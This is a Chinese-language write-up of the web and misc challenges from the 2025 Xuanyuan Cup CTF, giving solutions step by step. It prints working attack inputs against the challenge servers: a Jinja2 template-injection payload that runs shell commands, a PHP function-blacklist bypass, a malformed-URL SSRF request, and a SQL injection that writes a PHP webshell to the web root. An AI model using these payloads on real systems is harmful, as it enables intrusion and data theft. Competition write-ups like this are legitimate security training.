2025第一届轩辕杯Web全解
轩辕杯-2025
本来是奔着U盘去的,以为是新生赛,不多说了还是自己实力不行
web题目还是比较基础的,misc的话脑洞不小,也许是做题太少了
wp
这里粘一下大佬的wp
不知道战队:
南华大学卡布奇诺:
Misc全解佬:
2025第一届轩辕杯Misc详解 - Alexander17 - 博客园
web
flask
直接上fenjing就行,但是我直接读取/flag没结果,访问/proc/1/envriom出的
提交表单完成,返回值为200,输入为{'name': "{{joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('so'[::-1])['p''open']('c''at /proc/1/environ')['read']()}}"},表单为{'action': '/', 'method': 'GET', 'inputs': {'name'}}
#GZCTF_FLAG=flag{0f0e6823-261f-4bf8-9170-dc770fde5326}
flag{1e07cef3-1334-4ba5-a2136e1f09a0585f}
GZCTF_TEAM_ID=321KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1KUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443HOME=/root"},
ezjs
全局搜索flag
分数等于10.。。时向getflag.php发送post请求,请求体包含分数
直接访问,分数默认为0
post请求添加上分数后就会返回flag
ez_RCE
<?php
error_reporting(0);
highlight_file(__FILE__);
function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);
$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);
if (in_array($a, $disable_fun)) {
echo "宝宝这对嘛,这不对噢";
return false;
}
return $a;
}
$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];
if (isset($num) && $num != 1234) {
echo "看来第一层对你来说是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "还是有点实力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起来你遇到难关了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成长了<br>";
}
}
}
}
?>
简单绕过后,限制了函数调用
非预期
使用\
转义绕过即可
注意:要加在头部,不然会被当做字符串,不会进行转义
new=\system&star=cat /flag
预期
当然使用waf外的函数也是可以的
new=readgzfile&star=/flag
签到
首先是简单传参和修改cookie
接着是前导字符串
按照要求添加refer和post传参
<?php
error_reporting(0);
// 判断 Referer 是否符合
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (strpos($referer, 'secretcode') !== false) {
// 进一步要求POST参数
if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') {
echo file_get_contents('./xixi.txt');
} else {
echo "Referer对了,但是POST参数呢?";
}
} else {
echo "你缺少正确的Referer头~";
}
?>
第四关:不走寻常路
有些门,用传统的方法打不开。
是谁又头疼了啊?🛠️
小提示:
- 常规的 GET、POST 已经无能为力了,试试别的方式?🔄
- 身份也很关键,伪装得像 “identity=n1c3” 的人,才有机会通过。🕵️♂️
别局限于常规操作,灵活运用你的工具箱!
请换一种请求方式试试看?
提示:试试使用 HEAD 请求方法!
编写脚本实现head请求,伪造UA
按照要求分析js代码
第五关:追寻真相
有些答案,藏在看不见的地方。
也许,源代码里藏着重要的线索?🔍
找到正确的 key,赢得进入最后决战的门票!
JS源码(请仔细分析):
<script>
(function(){
var a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C'];
var order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4];
var code = '';
for (var i = 0; i < order.length; i++) {
code += a[order[i]];
}
console.log("Your hidden key is:", code);
})();
</script>
直接在控制台执行就行,也可以自己算出来,接着传参就行了
最后RCE黑名单,?cmd=nl /f*打印出flag
ezssrf1.0
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
if ($url == null)
die("Try to add ?url=xxxx.");
$x = parse_url($url);
if (!$x)
die("(;_;)");
if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";
从$_GET['url']获取用户输入的URL。
使用parse_url($url)解析URL,提取协议(scheme)、主机(host)、路径(path)等。
检查条件:如果解析结果的host为空且scheme为http,则使用cURL发起请求并返回结果。
如果条件不满足,输出(-_-),表示请求被拒绝。
非预期
正常URL格式为 scheme://[userinfo@]host/path
常规格式
http://127.0.0.1/flag 时,parse_url 会解析为以下组件:
- scheme:http
- host:127.0.0.1
- path:/flag
为了使host为空,这里利用畸形URL,通过缺少//使得parse_url无法识别host,从而绕过检查。
PHP脚本接收url参数:http:duan@127.0.0.1/flag。
parse_url解析URL:
- scheme = http
- host = null
- path = duan@127.0.0.1/flag
接着就能访问服务器本地的/flag文件
http://27.25.151.26:31349/?url=http:duan@127.0.0.1/flag
读取FFFFF11111AAAAAggggg.php即可
预期
明明这个才是非预期,但是官方wp都写的是这个,那就当做预期吧
按理说是代码审计,反而成了信息收集,也许是我思维固化了,一见代码,就没有考虑了
dirsearch扫描发现/flag
提示flag的位置,访问即可
ez_web1
后来才知道这个是非预期,预期解是群里一个大佬发的,jwt伪造,再ssti,我就不写了
非预期or预期
进去是登录框,源码有提示
手测账密
fly123
123456789
先是三个页面,注意右边下拉显示还有内容
最下方显示一个上传
上传不成功
注意到有token,jwt校验,但是没有key
返回先前页面发现有读取路径
尝试读取文件成功,在proc下环境变量文件中找到flag
ezsql1.0
sql注入不太会,这题没出,参照下边师傅的博客进行复现学习
空格,select都被办了
空格替换%09和/**/
seselectlect双写
?id=-1 union seselectlect 1,'<?=eval($_POST[1]);?>',3 into outfile '/var/www/html/1.php'#
?id=-1%09union%09seselectlect%091,%27%3C?=eval($_POST[1]);?%3E%27,3%09into%09outfile%09%27/var/www/html/1.php%27#
利用写入权限写入一句话木马
进行rce
环境变量读不出来,连接查看是空的
/*
* db.sql 文件
*
* 用于初始化 MySQL 数据库,创建 'ctf' 和 'xuanyuanCTF' 两个数据库。
* 'ctf' 包含一个 'users' 表及多条示例数据。
* 'xuanyuanCTF' 包含一个信息表,含 title 和 content 字段。
*/
-- 创建并使用 ctf 数据库
CREATE DATABASE IF NOT EXISTS ctf;
USE ctf;
-- 创建 'users' 表
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(300) NOT NULL,
password VARCHAR(300) NOT NULL
);
-- 插入多条用户数据
INSERT INTO users (username, password) VALUES
('admin', 'SuperSecureP@ssw0rd!'),
('user1', 'P@ssword123'),
('guest', 'guest1234'),
('ctf_player', 'fl4g_hunt3r'),
('root', 'toor!@#'),
('alice', 'alicePass1'),
('bob', 'bobSecure2'),
('charlie', 'charliePwd3'),
('dave', 'daveKey4'),
('eve', 'eveAccess5'),
('frank', 'frankEntry6'),
('grace', 'graceLogin7'),
('heidi', 'heidiSafe8'),
('ivan', 'ivanAuth9'),
('judy', 'judyPwd10'),
('mallory', 'malloryKey11'),
('nathan', 'nathanSecure12'),
('olivia', 'oliviaLock13'),
('peggy', 'peggyOpen14'),
('quentin', 'quentinSafe15'),
('ruth', 'ruthPass16'),
('sybil', 'sybilSecret17'),
('trent', 'trentLogin18'),
('victor', 'victorPwd19'),
('wendy', 'wendyKey20');
-- 创建并使用 xuanyuanCTF 数据库
CREATE DATABASE IF NOT EXISTS xuanyuanCTF;
USE xuanyuanCTF;
-- 创建一个包含 id, title, content 字段的表
CREATE TABLE IF NOT EXISTS info (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
content TEXT NOT NULL
);
-- 插入第一条数据
INSERT INTO info (title, content) VALUES
('F1AG', 'ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99');
var下有个db文件
解码得到flag
flag{欢迎来到轩辕杯}
misc
HackMe
非预期
题目给的是exe,ida分析看到py信息,将exe解包为pyc直降就能看到明文
Nz-flag{Cysay_terminal_game_hacked_successfully}
预期
按照提示一步一步继续就行
哇哇哇瓦
flag{Val0rant_1s_th3_
一大碗冰粉
你是大黑客,这次你入侵了icej3lly的个人电脑,准备跟踪他的行踪,但是icej3lly好像并不害怕⌓‿⌓,还跟你玩起了加密游戏,甚至把提示都给你了ƪ(˘⌣˘)ʃ。但当你正在查看桌面上的秘密文件和提示时突然断电了,只留下了这个内存镜像,多疑的你一定会有所发现吧˃ʍ˂
通过网盘分享的文件:whereicej3lly.raw 链接: https://pan.baidu.com/s/1qp84Tys0n1BXh9ObISLCcA?pwd=GAME 提取码: GAME --来自百度网盘超级会员v4的分享
将镜像文件放入R-Studio进行分析
桌面找到hint.txt
提示是明文攻击
接着寻找加密zip
找到文件进行修复
对secret.zip进行明文攻击
获取一个
隐藏的邀请
先Hex后Xor,自动转图片
不知道是什么码,去Lunatic BLOG|
博客学习就行
保存后,DataMatrix在线扫描